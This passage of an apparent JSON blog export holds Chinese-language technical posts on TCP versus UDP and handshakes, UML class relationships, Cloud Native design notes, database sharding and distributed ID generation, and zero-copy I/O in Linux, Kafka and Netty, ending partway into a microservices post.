UDPTCP\n是否连接\n无连接\n面向连接\n是否可靠\n不可靠传输，不使用流量控制和拥塞控制\n可靠传输，使用流量控制和拥塞控制\n连接对象个数\n支持一对一，一对多，多对一和多对多交互通信\n只能是一对一通信\n传输方式\n面向报文\n面向字节流\n首部开销\n首部开销小，仅8字节\n首部最小20字节，最大60字节\n适用场景\n适用于实时应用（IP电话、视频会议、直播等）\n适用于要求可靠传输的应用，例如文件传输\u0026nbsp;\nTCP要求系统资源较多，UDP较少\nTCP向上层提供面向连接的可靠服务 ，UDP向上层提供无连接不可靠服务。\n虽然 UDP 并没有 TCP 传输来的准确，但是也能在很多实时性要求高的地方有所作为\n对数据准确性要求高，速度可以相对较慢的，可以选用TCP\nTCP实现可靠传输的方法? 确认和重传：接收方收到报文就会确认，发送方发送一段时间后没有收到确认就重传。\n数据校验：TCP报文头有校验和，用于校验报文是否损坏\n数据合理分片和排序：tcp会按MTU合理分片，接收方会缓存未按序到达的数据，重新排序后再交给应用层。而UDP：IP数据报大于1500字节，大于MTU。这个时候发送方的IP层就需要分片，把数据报分成若干片，是的每一片都小于MTU。而接收方IP层则需要进行数据报的重组。由于UDP的特性，某一片数据丢失时，接收方便无法重组数据报，导致丢弃整个UDP数据报。\n流量控制：当接收方来不及处理发送方的数据，通过滑动窗口，能提示发送方降低发送的速率，防止包丢失\n拥塞控制：当网络拥塞时，通过拥塞窗口，减少数据的发送。\n解释下三次握手、四次挥手 这个资料可太多了，直接上图吧 三次握手过程:\n四次挥手过程：\n为什么要三次握手？两次不行吗？ 如客户端发出连接请求，但因连接请求报文丢失而未收到确认，于是客户端再重传一次连接请求。后来收到了确认，建立了连接。数据传输完毕后，就释放了连接，客户端共发出了两个连接请求报文段，其中第一个丢失，第二个到达了服务端，但是第一个丢失的报文段只是在某些网络结点长时间滞留了，延误到连接释放以后的某个时间才到达服务端，此时服务端误认为客户端又发出一次新的连接请求，于是就向客户端发出确认报文段，同意建立连接，不采用三次握手，只要服务端发出确认，就建立新的连接了，此时客户端忽略服务端发来的确认，也不发送数据，**则服务端一致等待客户端发送数据，浪费资源。** 挥手为什么需要四次？ 关闭连接时，当服务端收到FIN报文时，很可能并不会立即关闭SOCKET，所以只能先回复一个ACK报文，告诉客户端，\u0026quot;你发的FIN报文我收到了\u0026quot;。只有等到我服务端所有的报文都发送完了，我才能发送FIN报文。故需要四次挥手。 四次挥手释放连接时，为什么要等待2MSL？ 为了保证客户端发送的最后一个ACK报文段能够到达服务器。因为这个ACK有可能丢失，从而导致处在LAST-ACK状态的服务器收不到对FIN-ACK的确认报文。服务器会超时重传这个FIN-ACK，接着客户端再重传一次确认，重新启动时间等待计时器。最后客户端和服务器都能正常的关闭。假设客户端不等待2MSL，而是在发送完ACK之后直接释放关闭，一但这个ACK丢失的话，服务器就无法正常的进入关闭连接状态。\n防止“已失效的连接请求报文段”出现在本连接中。客户端在发送完最后一个ACK报文段后，再经过2MSL，就可以使本连接持续的时间内所产生的所有报文段都从网络中消失，使下一个新的连接中不会出现这种旧的连接请求报文段。 SYN攻击是什么？ SYN攻击就是Client在短时间内伪造大量不存在的IP地址，并向Server不断地发送SYN包，Server则回复确认包，并等待Client确认，由于源地址不存在，因此Server需要不断重发直至超时，这些伪造的SYN包将长时间占用未连接队列，导致正常的SYN请求因为队列满而被丢弃，从而引起网络拥塞甚至系统瘫痪。SYN 攻击是一种典型的 DoS/DDoS 攻击。 参考 ：\nhttps://juejin.im/post/5d9c284b518825095879e7a5\nhttps://blog.csdn.net/qzcsu/article/details/72861891\n关注公众号 获取更多精彩内容\n","date":"2020-03-13T16:00:00Z","image":"https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2020-03-13-jing-dian-mian-shi-ti-zheng-li-tcp-pian/cover.jpg","permalink":"/p/2020-03-13-jing-dian-mian-shi-ti-zheng-li-tcp-pian/","title":"经典面试题整理（TCP篇）"},{"content":"java的类之间的关系：泛化、依赖、关联、实现、聚合、组合\n车的类图结构为\u0026laquo;abstract\u0026raquo;，表示车是一个抽象类；它有两个继承类小汽车和自行车；它们之间的关系为实现关系，使用带空心箭头的虚线表示；\n小汽车为与SUV之间也是继承关系，它们之间的关系为泛化关系，使用带空心箭头的实线表示；\n小汽车与发动机之间是组合关系，使用带实心箭头的实线表示；\n学生与班级之间是聚合关系，使用带空心箭头的实线表示；\n学生与身份证之间为关联关系，使用一根实线表示；\n学生上学需要用到自行车，与自行车是一种依赖关系，使用带箭头的虚线表示；\n泛化 泛化关系(Generalization)也就是继承关系，也称为“is-a-kind-of”关系，泛化关系用于描述父类与子类之间的关系，父类又称作基类或超类，子类又称作派生类。在UML中，泛 化关系用带空心三角形的直线来表示。\n依赖 依赖关系(Dependency) 是一种使用关系，特定事物的改变有可能会影响到使用该事物的其他事物，在需要表示一个事物使用另一个事物时使用依赖关系。大多数情况下，依 赖关系体现在某个类的方法使用另一个类的对象作为参数。\n依赖关系有如下三种情况：\nA类是B类中的（某方法的）局部变量；\nA类是B类方法当中的一个参数；\nA类向B类发送消息，从而影响B类发生变化；\n在UML中，依赖关系用带箭头的虚线表示，由依赖的一方指向被依赖的一方。\n组合 组合关系(Composition)也表示类之间整体和部分的关系，但是组合关系中部分和整体具有统一的生存期。一旦整体对象不存在，部分对象也将不存在，部分对象与整体对象之 间具有同生共死的关系。 在组合关系中，成员类是整体类的一部分，而且整体类可以控制成员类的生命周期，即成员类的存在依赖于整体类。在UML中，组合关系用带实心菱形的直线表示。\n实现 实现关系(Realization)，在这种关系中，类实现了接口，类中的操作实现了接口中所 声明的操作。在UML中，类与接口之间的实现关系用带空心三角形的虚线来表示。\n关联 关联是一种结构关系，说明一个事物的对象与另一个事物的对象相联系。给定有关联的两个类，可以从一个类的对象得到另一个类的对象。关联有两元关系和多元关系。两元关系是指一种一对一的关系，多元关系是一对多或多对一的关系。两个类之间的简单关联表示了两个同等地位类之间的结构关系。当你想要表示结构化关系时使用关联。\n在UML类图中，用实线连接有关联的对象所对应的类\n在使用类图表示关联关系时可以在关联线上标注角色名。\n聚合 聚合关系(Aggregation) 表示一个整体与部分的关系。通常在定义一个整体类后，再去分析这个整体类的组成结构，从而找出一些成员类，该整体类和成员类之间就形成了聚合 关系。在UML中，聚合关系用带空心菱形的直线表示。\n关于关联，聚合，组合在实现上并没有显著区别，相区别他们只有通过判断关系双方之间的实际关系，如关系强弱、创建与销毁之间有无必要关联等。\n参考：\nhttps://blog.csdn.net/lpjishu/article/details/51491779\nhttps://design-patterns.readthedocs.io/zh_CN/latest/read_uml.html\n关注公众号 获取更多精彩内容\n","date":"2020-03-13T00:00:00Z","image":"https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2020-03-13-yi-zhang-tu-gao-ding-java-lei-zhi-jian-de-6-zhong-guan-xi-yi/cover.jpg","permalink":"/p/2020-03-13-yi-zhang-tu-gao-ding-java-lei-zhi-jian-de-6-zhong-guan-xi-yi/","title":"一张图搞定java类之间的6种关系，以后再也不怕画UML图了"},{"content":"未来值得关注的方向\nServerless\n无服务器架构是基于互联网的系统，它的应用开发不使用常规的服务进程。相反，它仅依赖于第三方服务（例如 AWS Lambda 服务），是客户端逻辑和服务托管远程过程调用的组合\n什么是Serverless\nService Mesh\nService Mesh是用于处理服务到服务通信的专用基础架构层。Cloud Native有着复杂的服务拓扑，它负责可靠地传递请求。实际上，Service Mesh 通常作为一组轻量级网络代理实现，这些代理与应用程序代码部署在一起，应用程序无感知。随着Cloud Native的崛起，Service Mesh逐步发展为一个独立的基础设施层。在Cloud Native架构下，单个应用程序可能由数百个服务组成；每个服务可能有数千个实例；并且这些实例中的每一个实例都可能处于不断变化的状态，因为它们是由诸如Kubernetes之类的资源调度系统动态调度的。这个世界中的服务通信不仅非常复杂，而且是运行时行为的普遍和基本部分，管理它对于确保端到端的性能和可靠性至关重要。\n什么是Service Mesh\n研发流程\n十二因子\n基准代码\n一份基准代码，多份部署\n使用 GIT 或者 SVN 管理代码，并且有明确的版本信息\n依赖\n显式声明依赖关系。\n如Java中我们可以使用Maven或者Gradle管理依赖包\n配置\n在环境中存储配置\n第一，可以将应用的配置存储于环境变量中；第二，可以将应用的配置存储于分布式配置中心。\n后端服务\n把后端服务当作附加资源\n构建、发布、运行\n严格分离构建和运行\n十二因子强调通过CI/CD（持续集成/持续布置）工具实现整个过程，例如使用Jenkins。\n进程\n以一个或多个无状态进程运行应用\n端口绑定\n通过端口绑定提供服务\n并发\n通过进程模型进行扩展\n易处理\n快速启动和优雅终止可最大化健壮性\n开发环境与线上环境等价\n尽可能保持开发、预发布、线上环境相同\n日志\n把日志当作事件流\n管理进程\n把后台管理任务当作一次性进程运行\nCode Review的意义\nCode Review，顾名思义，就是针对一名开发人员完成的代码，让团队其他开发人员检查的过程。很多公司都在开展 Code Review，但是绝大多数公司只是流于形式，并没有形成一种文化。Code Review更多依靠的是小团队的工匠精神和程序员个人的主观能动性\nCode Review的原则\n以发现问题为目标\n不设置惩罚 而应该采用正向激励的做法\n不论资历\nCode Review的过程\n利用工具 线上+线下结合\n代码即设计\n架构设计包含两方面，一是架构，二是设计。在敏捷开发中，架构并没有被抛弃，架构的思考可能发生在你理解需求的过程中，也可能来自你的经验；架构的结果可能是一个白板上简单的图，也可能需要详细调研，这与架构师的能力有关。设计需要耗费大量的时间和精力去做，设计会转移、分配到整个研发流程。\n整个进化设计需要简单的架构+持续集成+重构+整个研发流程的设计来保证。\n敏捷研发流程模糊阶段性的理由是：业务需求太多和技术变化速度太快。\n这种设计上的转变实际上非常适合小规模、有强大战斗力的团队\n团队文化\n高效的会议\n缩小会议范围\n常规会议不应该超过45分钟\n限制“意见领袖”的发言时长\n提供平等的会议氛围\n会议中的分歧不应该延伸到会议之外\n如何留下你想要的人\n充分沟通\n给予尊重\n肯定工作成绩\n设定合适的岗位\n设定更大的挑战\n关注公众号 获取更多精彩内容\n","date":"2020-03-10T16:00:00Z","image":"https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2020-03-10-chi-xu-yan-jin-de-cloud-native-du-shu-bi-ji-05/cover.jpg","permalink":"/p/2020-03-10-chi-xu-yan-jin-de-cloud-native-du-shu-bi-ji-05/","title":"持续演进的Cloud Native (读书笔记05)"},{"content":"可扩展性设计 性能设计 一致性设计\n可扩展性设计 横向扩展\n横向扩展（scale out）也叫水平扩展，指用更多的节点支撑更大量的请求。例如如果1台机器支撑10 000TPS，那么两台机器是否能支撑20 000TPS？\n纵向扩展（scale up）也叫垂直扩展，扩展一个点的能力支撑更大的请求，它通常通过提升硬件实现，例如把磁盘升级为SSD。\n如何扩展数据库\n主从复制集群\n分库、垂直分表\n分片（sharding）\n区间法（Range-Based）\n轮流法（Round-Robin）\n一致性哈希法（Consistent Hash）\n如何扩展数据中心\n两地三中心\n同城多活\n异地多活\n性能设计 比较常见的性能问题如下\n内存泄漏——导致内存耗尽。\n过载——突发流量，大量超时重试。\n网络瓶颈——需要加载的内容太多\n阻塞——无尽的等待。\n锁——通过限制。\nIO繁忙——大量的读写、分布式\nCPU繁忙——计算型常见问题。\n长请求拥塞——连接耗尽。\n性能指标\n响应时间（Latency），就是发送请求和返回结果的耗时。\n吞吐量（Throughput），就是单位时间内的响应次数。\n树立目标\n寻找平衡点\n我们可以通过一组压力测试数据找到拐点。 定位瓶颈点\n压力测试\n日志分析\n监控工具\n服务通信优化\n同步转异步\n阻塞转非阻塞\n序列化优化\n通过消息中间件提升写性能\n通过缓存提升读性能\n缓存的常用模式\nRead Through模式\nWrite Through模式\nWrite Behind Caching模式\nCache-Aside模式\nCache-As-SoR模式\n为缓存数据设置合理的过期时间\n为缓存设置回收策略\n先预热数据\n数据库优化\n通过执行计划分析瓶颈点\n为搜索字段创建索引\n通过慢查询日志分析瓶颈点\n通过提升硬件能力优化数据库\n目前各大互联网公司的数据库均使用SSD硬盘或者PCIE-FLASH，据说2012年的时候微博使用PCIE-FLASH支撑了Feed系统在春晚时的3.5万QPS。\n简化设计\n转移复杂度\n从业务角度优化\n一致性设计 事务\n原子性（Atomicity）\n一致性（Consistency）\n隔离性（Isolation）\n未提交读（Read uncommitted）\n提交读（Read committed）\n可重复读（Repeatable reads）\n可序列化（Serializable）\n隔离级别\n持久性（Durability）\nCAP定理\n一致性（Consistence）\n可用性（Availability）\n分区容错性（Partition tolerance）\n分布式系统的一致性分类\n以数据为中心的一致性模型\n1.严格一致性（Strict Consistency\n2.顺序一致性（Sequential Consistency）\n3.因果一致性（Causal Consistency）\n4.FIFO一致性（FIFO Consistency）\n以用户为中心的一致性模型\n1.单调读一致性（Monotonic-read Consistency）\n2.单调写一致性（Monotonic-write Consistency）\n3.写后读一致性（Read-your-writes Consistency）\n4.读后写一致性（Writes-follow-reads Consistency）\n业界常用的一致性模型\n弱一致性\n最终一致性（Eventual Consistency）\n强一致性（Strong Consistency）\n如何实现强一致性\n两阶段提交\n三阶段提交（3PC）\n如何实现最终一致性\n重试机制\n本地记录日志\n可靠事件模式\nSaga事务模型\nTCC事务模型\n分布式锁\n基于数据库实现悲观锁和乐观锁\n基于ZooKeeper的分布式锁\n基于Redis实现分布式锁\n如何保证幂等性\n幂等令牌（Idempotency Key）\n在数据库中实现幂等性\n关注公众号 获取更多精彩内容\n","date":"2020-03-09T16:00:00Z","image":"https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2020-03-09-chi-xu-yan-jin-de-cloud-native-du-shu-bi-ji-04/cover.jpg","permalink":"/p/2020-03-09-chi-xu-yan-jin-de-cloud-native-du-shu-bi-ji-04/","title":"持续演进的Cloud Native (读书笔记04)"},{"content":"可用性设计\n可用性和可靠性的关系 可用性（Availability）是关于系统可以被使用的时间的描述，以丢失的时间为驱动（Be Driven by Lost Time）。\n可靠性（Reliability）是关于系统无失效时间间隔的描述，以发生的失效个数为驱动（Be Driven by Number ofFailure）。\n可用性公式：A=Uptime /（Uptime+Downtime）。其中，Uptime是可用时间，Downtime是不可用时间。\n可靠性公式：A=MTBF /（MTBF+MTTR）。其中，MTBF的全称是Mean Time Between Failure，即平均无故障工作时间，指上一次故障恢复后开始正常运行到这次故障的时间平均值。MTTR的全称是Mean Time ToRepair，即平均故障修复时间，是指从出现故障到完全恢复的这段时间。\n可用性的衡量标准 可用性通常以N个9的方式来量化衡量 什么降低了可用性\n发布。当应用需要升级的时候，为了得到更好的用户体验，应用不能中断，如果需要迁移数据，会导致整个流程相当复杂。为了降低复杂度和开发成本，我们通常会暂时中断服务。\n故障。发生故障的时候，系统可用性会受到影响，例如出现内存溢出，可能导致整个服务不可用。当然并不是所有的故障都会导致不可用，例如一个商品详情页中的推荐购买不显示了，实际上并没有影响可用性，但是如果价格不可见了，那么用户不能提交订单，这就影响了购买商品的可用性。\n压力。很多宕机都是因为突发的事件导致的，例如某某明星在微博发布“介绍一下我的女朋友”信息，预期之外的访问压力会造成系统宕机，而预留太多冗余资源又比较浪费。所以部署到公有云或者基于公有云做混合云是一种既可以应对超预期的流量又省钱的办法。\n外部强依赖。如果外部依赖的服务发生故障，则会导致调用异常，进而导致系统的不可用。外部依赖的服务越多，做到高可用的挑战就会越大。\n要实现高可用，需要在设计阶段考虑如下几个比较重要的方法：\n20/10/5，设计系统的时候，以实际流量的20倍来设计；开发系统的时候，以实际流量的10倍来开发系统；发布系统的时候，以实际流量的5倍来部署。这只是一个通用的原则，可以根据实际情况来确定，不需要严格按照倍数来执行。\nDesign for failure，预测可能发生的问题，做好预案。例如当流量高峰的时候如何限流、伸缩、隔离故障节点。\n提升可用性方法：\n逐步切换\n影子测试\n影子测试是一种常用的在生产环境中通过流量复制、回放和比对的测试方法。\n蓝绿部署\n蓝绿部署是一种以可预测的方式发布应用的技术，目的是减少发布过程中服务停止的时间。\n灰度发布/金丝雀发布\n容错设计\n消除单点\n特性开关\n服务分级\n隔离策略\n线程池隔离。\n进程隔离。\n集群隔离\n用户隔离\n租户隔离\n超时重试\n简单重试模式——try-catch-redo\n策略重试模式——try-catch-redo-retry strategy\n重试策略的逻辑是通用的，早已经有人把这个逻辑抽象出来了 Spring-tryer和Guava-retrying\n熔断器\n降级设计\n降级方式\n关闭某个功能，页面显示不全或不能点击某个按钮\n请求短路，直接返回缓存结果\n简化流程，放弃某个操作，如给用户发注册成功短信。\n延迟执行，停止定时任务，如某些结算。\n降级的方法\n页面加开关，通过JS控制功能是否隐\n关闭低级别服务前端页面。例如一些运营系统，为了统计、反馈，这些运营系统可能会访问某个核心服务，可以直接关闭前端页面应用。\n预先定义降级逻辑。在配置中心定义一个变量，预先定义好变量的含义，例如变量的值为3，则要求所有的3级以下的服务都不调用，可以结合微服务框架，通过框架的隐含参数来实现。在紧急情况下，可以启用此按钮。\n降低精确度。例如在电商中，库存可以显示为有货或者无货，而不是具体的数量。价格可以不那么及时更新，当提交订单的时候再计算最新值，毕竟浏览的人多，下单的人少。\n流控设计\n限流算法\n漏桶算法（Leaky Bucket）\n令牌桶算法（token bucket）\n漏桶算法和令牌桶算法的对比\n流控策略\n请求入口处 比如nginx\n业务服务入口处\n基于Guava限流\n平滑突发限流\n平滑预热限流\n基于Nginx限流\n连接数限流模块ngx_http_limit_conn_module\n请求限制模块ngx_http_limit_req_module\n容量预估\n互联网公司普遍采用全链路压测的方式，如京东的ForceBot、阿里巴巴的全链路压测平台\n全链路压测平台在请求入口进行真实流量复制，开源实现可以参考TCPCopy\n故障演练\nNetflix开源了Chaos Monkey,Chaos Monkey是一个在生产环境随机选择并关闭服务的工具,Chaos Monkey属于Netflix的Simian Army产品中的一员，Simian Army由一组工具构成.\n阿里巴巴也开始进行故障演练，它的工具名称叫MonkeyKing，为每年的“双11”活动做准备。MonkeyKing可以模拟硬件故障、API故障、分布式故障、数据库故障等。\n数据迁移\n逻辑分离，物理不分离 逻辑分离，物理不分离的优点是足够简单，缺点是隔离性差，容易引发全局故障。\n物理分离 物理分离的优点是隔离性好，缺点是数据同步比较复杂\n如果逻辑分离，物理不分离可以满足，则采用它，它更简单高效。如果采用物理分离，以下几种方案可以实现数据库同步。\n利用数据库同步工具通过读取binlog实现数据双向同步\n在业务应用上同时双写两个数据库。\n老系统在写数据库的同时，发送消息到消息中间件，消费消息从消息中间件实现同步。\n无论采用以上哪种方式同步数据，都不可避免地会遇到一致性问题。\n关注公众号 获取更多精彩内容\n","date":"2020-03-09T08:55:55Z","image":"https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2020-03-09-chi-xu-yan-jin-de-cloud-native-du-shu-bi-ji-03/cover.jpg","permalink":"/p/2020-03-09-chi-xu-yan-jin-de-cloud-native-du-shu-bi-ji-03/","title":"持续演进的Cloud Native (读书笔记03)"},{"content":"抛开具体业务需求和场景谈论技术方案，无异于纸上谈兵。没有哪一项技术或解决方案有绝对的好坏、优劣之分。都是相对意义上的区分，否则这些项技术或方案是怎么产生的？一定也是为了解决某类具体场景的问题而产生的，在彼时彼刻都可谓 “先进”技术。\n从0到1 在系统新生的时候，预估业务量和数据量都不大。后来，业务越做越好，数据量越来越大，发现单库单表已经不能满足需求了，需要分库分表。你数据库的发展方向大概是这样的： 很少会有业务一开始就会设计为分库分表，虽说这样会减少后续的坑，但部分公司刚开始都是以业务为主。 水平 VS 垂直 如果是单个库太大，这时我们要看是因为表多而导致数据多，还是因为单张表里面的数据多。 如果是因为表多而数据多，使用垂直切分，根据业务切分成不同的库。 如果是因为单张表的数据量太大，这时要用水平切分，即把表的数据按某种规则切分成多张表，甚至多个库上的多张表。 分库分表的顺序应该是先垂直分，后水平分。 因为垂直分更简单，更符合我们处理现实世界问题的方式。 垂直分表\n也就是“大表拆小表”，基于列字段进行的。一般是表中的字段较多，将不常用的， 数据较大，长度较长（比如text类型字段）的拆分到“扩展表“。一般是针对那种几百列的大表，也避免查询时，数据量太大造成的“跨页”问题。\n垂直分库\n垂直分库针对的是一个系统中的不同业务进行拆分，比如用户User一个库，商品Producet一个库，订单Order一个库。\n水平分表\n针对数据量巨大的单张表（比如订单表），按照某种规则（RANGE,HASH取模等），切分到多张表里面去。\n水平分库分表\n将单张表的数据切分到多个服务器上去，每个服务器具有相应的库与表，只是表中数据集合不同\n于是你开始分表了：也就是将一张大表数据通过某种路由算法将数据尽可能的均匀分配到 N 张小表中。 而分表策略也有好几种，分别适用不同的场景。比如通过创建时间、主键ID，或流行的 hash+mod 的组合（类似HashMap的策略） 这里的 hash 便是将我们需要分表的字段进行一次散列运算，使得经过散列的数据尽可能的均匀并且不重复。当然如果本身这个字段就是一个整形并且不重复也可以省略这个步骤，直接进行 Mod 得到分表下标即可。 **当然分表只是第一步，还要做数据迁移，除非是一开始就做好了分表。后面还有分页查询、groupby、多表join和事务等坑需要填。![Image](https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2020-03-06-fen-ku-fen-biao-yu-dao-di-yao-bu-yao-yong-zi-zeng-id/004-80504576.png)** 目前市面上的分库分表中间件相对较多，可能拿来解决上述提到的问题。比如Atlas（360）、MySQL-Proxy、DBProxy（美团在Atlas上做的改进）、Mycat( 是 Cobar 的进化版本 ,cobar,是 Amoeba 的进化版本,都是阿里的 ) 关于分库分表的细节和坑这里就不讨论了，也不是本文的重点![Image](https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2020-03-06-fen-ku-fen-biao-yu-dao-di-yao-bu-yao-yong-zi-zeng-id/005-fe5114b4.png)，都扯远了。 记录标识 我们回到表的记录标识上来，我们对这个标识有两个主要需求： 全局唯一\n趋势有序\n于是有了以下方法： 使用数据库自增 auto_increment 来生成全局唯一递增ID。这本没什么问题，如果你使用MySQL，这也是官方建议的。优点不多说了，说下缺点：\n可用性难以保证：数据库常见架构是一主多从+读写分离；\n生成自增ID是写请求，主库挂了就玩不转了\n扩展性差，性能有上限：因为写入是单点，数据库主库的写性能决定ID的生成性能上限，并且难以扩展\n改进的方法：如果我们采用了分库分表的设计，可以每个写库设置不同的auto_increment初始值，以及相同的增长步长。以保证每个数据库生成的ID是不同的。但缺点是丧失了ID生成的“绝对递增性”，数据库的写压力依然很大，每次生成ID都要访问数据库。这时候我们可以采用单点批量ID生成服务，用一个ID生成服务，先批量生成多个ID。这样应用访问ID生成服务索要ID，ID生成服务不需要每次访问数据库，这样好多了，但问题还有，就是服务还是单点。\nUUID保证在同一时空中的所有机器都是唯一的。且可以在本地生成，扩展性好，基本可以认为没有性能上限。是个方案，但UUID的也有缺点：无法保证趋势递增、uuid过长，往往用字符串表示，作为主键建立索引查询效率低（B+树为了维持平衡，会引起B+树的节点页分裂和碎片问题）。\nTwitter的SnowFlake是一个非常优秀的ID生成方案，实现也非常简单，8Byte 是一个Long,8Byte等于64bit，核心代码就是毫秒级时间41位+10位机器ID+毫秒内序列12位，也可以调整机器位数和毫秒内序列位数比例。借鉴snowflake的思想，结合各公司的业务逻辑和并发量，可以实现自己的分布式ID生成算法。比如：\n缺点是“没有一个全局时钟”，每台服务器分配的ID是绝对递增的，但从全局看，生成的ID只是趋势递增的（有些服务器的时间早，有些服务器的时间晚）美团的Leaf就是一个类SnowFlake的解决方案。\n甚至还可以利用redis的incr原子性操作自增，但安全性不足。\n使用TiDB 如果你大胆调整数据库，不使用MySQL了，而使用TiDB，自动扩容，业务不关心分库分表。TiDB 是由 PingCAP 研发的一款定位于在线事务处理 / 在线分析处理（HTAP）的开源融合型数据库产品，实现了一键水平伸缩，强一致性的多副本数据安全，分布式事务，实时 OLAP 等重要特性，目前已广泛应用于金融服务、互联网、制造等行业。\n但问题是TiDB 的自增 ID (AUTO_INCREMENT) 只保证自增且唯一，并不保证连续分配。TiDB 目前采用批量分配的方式，所以如果在多台 TiDB 上同时插入数据，分配的自增 ID 会不连续。当多个线程并发往不同的 tidb-server 插入数据的时候，有可能会出现后插入的数据自增 ID 小的情况。此外，TiDB允许给整型类型的字段指定 AUTO_INCREMENT，且一个表只允许一个属性为 AUTO_INCREMENT 的字段。不过虽然有问题也有解决方案，感兴趣的小伙伴可以查找下相关资料。\n参考：\nhttps://www.infoq.cn/article/key-steps-and-likely-problems-of-split-table\nhttps://tech.meituan.com/2017/04/21/mt-leaf.html\nhttps://www.cnblogs.com/jajian/p/11101213.html\nhttps://www.cnblogs.com/butterfly100/p/9034281.html\n关注公众号 获取更多精彩内容\n","date":"2020-03-06T15:40:57Z","image":"https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2020-03-06-fen-ku-fen-biao-yu-dao-di-yao-bu-yao-yong-zi-zeng-id/cover.jpg","permalink":"/p/2020-03-06-fen-ku-fen-biao-yu-dao-di-yao-bu-yao-yong-zi-zeng-id/","title":"分库分表与到底要不要用自增ID?"},{"content":"预计阅读时间6分钟\n学习Netty时 看到Netty高性能的原因之一是使用零拷贝技术\n学习Kafka时 看到其高性能的原因之一也使用了零拷贝技术\n那么到底什么是零拷贝？本文简单做个描述。\n先解释几个概念 用户态：只能受限地访问内存，不允许访问外围设备。占用 CPU 的能力被剥夺，CPU资源可以被其他程序获取。\n内核态：CPU可以访问内存中所有的数据，包括外围设备，例如硬盘、网卡，CPU也可以将自己从一个程序切换到另一个程序。\nDMA (direct memory access):直接内存访问，是一种不经过CPU而直接从内存存取数据的数据交换模式。在DMA模式下，CPU只须向DMA控制器下达指令，让DMA控制器来处理数据的传送，数据传送完毕再把信息反馈给CPU，这样就很大程度上减轻了CPU资源占有率，可以大大节省系统资源\n传统的数据拷贝方法 下图为传统的数据拷贝方法： 上图分别对应传统 I/O 操作的数据读写流程，整个过程涉及 4 次 拷贝， 1 .数据从磁盘读取到内核的read buffer\n2. 数据从内核缓冲区拷贝到用户缓冲区\n3. 数据从用户缓冲区拷贝到内核的socket buffer\n4. 数据从内核的socket buffer拷贝到网卡接口的缓冲区\n并且在用户态和内核态中间进行了2次切换，无疑也加重了CPU负担。 在此过程中，我们没有对文件内容做任何修改，那么在内核空间和用户空间来回拷贝数据无疑就是一种浪费，而零拷贝主要就是为了解决这种低效性。 解决方案 **一个很明显的着力点就是减少数据在内核空间和用户空间来回拷贝。** **Linux能够做到在数据传输的过程中，避免数据在操作系统内核态buffer和用户态buffer之间进行复制。****Linux中提供类似的系统调用函数主要有mmap()、sendfile()及splice()。下面介绍其中两种。** **mmap **\n我们减少拷贝次数的一种方法是调用mmap()来代替read调用： 1write(sockfd, buf, len); 应用程序调用mmap()，磁盘上的数据会通过DMA被拷贝的内核缓冲区，接着操作系统会把这段内核缓冲区与应用程序共享，这样就不需要把内核缓冲区的内容往用户空间拷贝。应用程序再调用write(),操作系统直接将内核缓冲区的内容拷贝到socket缓冲区中，这一切都发生在内核态，最后，socket缓冲区再把数据发到网卡去。 使用mmap替代read很明显减少了一次拷贝，当拷贝数据量很大时，无疑提升了效率。\nsendfile 从2.1版内核开始，Linux引入了sendfile来简化操作。 1#include\u0026lt;sys/sendfile.h\u0026gt; 2ssize_t sendfile(int out_fd, int in_fd, off_t *offset, size_t count); 系统调用sendfile()在代表输入文件的描述符in\\_fd和代表输出文件的描述符out\\_fd之间传送文件内容（字节）。描述符out\\_fd必须指向一个套接字，而in\\_fd指向的文件必须是可以mmap的。这些局限限制了sendfile的使用，使sendfile只能将数据从文件传递到套接字上，反之则不行。 使用sendfile不仅减少了数据拷贝的次数，还减少了上下文切换，数据传送始终只发生在kernel space。 方案对比 限于篇幅原因并没有把所有的零拷贝方式都介绍完整，以下是Linux中各方式的对比 拷贝方式 CPU拷贝 DMA拷贝 系统调用 上下文切换 传统方式（read + write） 2 2 read / write 4 内存映射（mmap + write） 1 2 mmap / write 4 sendfile 1 2 sendfile 2 sendfile + DMA gather copy 0 2 sendfile 2 splice 0 2 splice 2 Kafka采用的是Linux系统的函数sendfile()，允许操作系统将数据从Page Cache直接发送到网络，以此来避免数据复制。 **Netty** 中的零拷贝和上面提到的操作系统层面上的零拷贝不太一样, 我们所说的 Netty 零拷贝完全是基于（Java 层面）用户态的，它的更多的是偏向于数据操作优化这样的概念，具体表现在以下几个方面： Netty 通过 DefaultFileRegion 类对 java.nio.channels.FileChannel 的 tranferTo() 方法进行包装，在文件传输时可以将文件缓冲区的数据直接发送到目的通道（Channel）\nByteBuf 可以通过 wrap 操作把字节数组、ByteBuf、ByteBuffer 包装成一个 ByteBuf 对象, 进而避免了拷贝操作\nByteBuf 支持 slice 操作, 因此可以将 ByteBuf 分解为多个共享同一个存储区域的 ByteBuf，避免了内存的拷贝\nNetty 提供了 CompositeByteBuf 类，它可以将多个 ByteBuf 合并为一个逻辑上的 ByteBuf，避免了各个 ByteBuf 之间的拷贝\n参考 :\nhttps://www.jianshu.com/p/fad3339e3448\nhttps://segmentfault.com/a/1190000007560884\nhttps://juejin.im/post/5d84bd1f6fb9a06b2d780df7\nhttps://www.infoq.cn/article/netty-high-performance/\n关注公众号 获取更多精彩内容\n","date":"2020-03-05T10:58:37Z","image":"https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2020-03-05-shen-me-shi-ling-kao-bei/cover.jpg","permalink":"/p/2020-03-05-shen-me-shi-ling-kao-bei/","title":"什么是零拷贝"},{"content":"微服务架构\n微服务架构的起源 可以说微服务架构并不是什么技术创新，而是开发过程发展到一定阶段对技术架构的要求，是在实践中不断摸索而来的。 为什么采用微服务架构 单体架构与微服务架构对比 什么时候开始微服务架构\n单体、组件化、微服务架构成本趋势\n如何决定微服务架构的拆分粒度\n微服务架构中的微字，并不代表足够小，应该解释为合适\n微服务拆分粒度决策参考表\n微服务设计原则 垂直划分优先原则\n下图简单描述了一个按业务领域垂直划分的微服务架构示例，在业务垂直方向切分服务，通过API Gateway聚合内容。\n持续演进原则\n应逐步划分、持续演进，避免服务数量的爆炸性增长。\n服务自治、接口隔离原则\n服务通过标准的接口隔离，隐藏内部实现细节\n自动化驱动原则\n微服务架构实施的先决条件 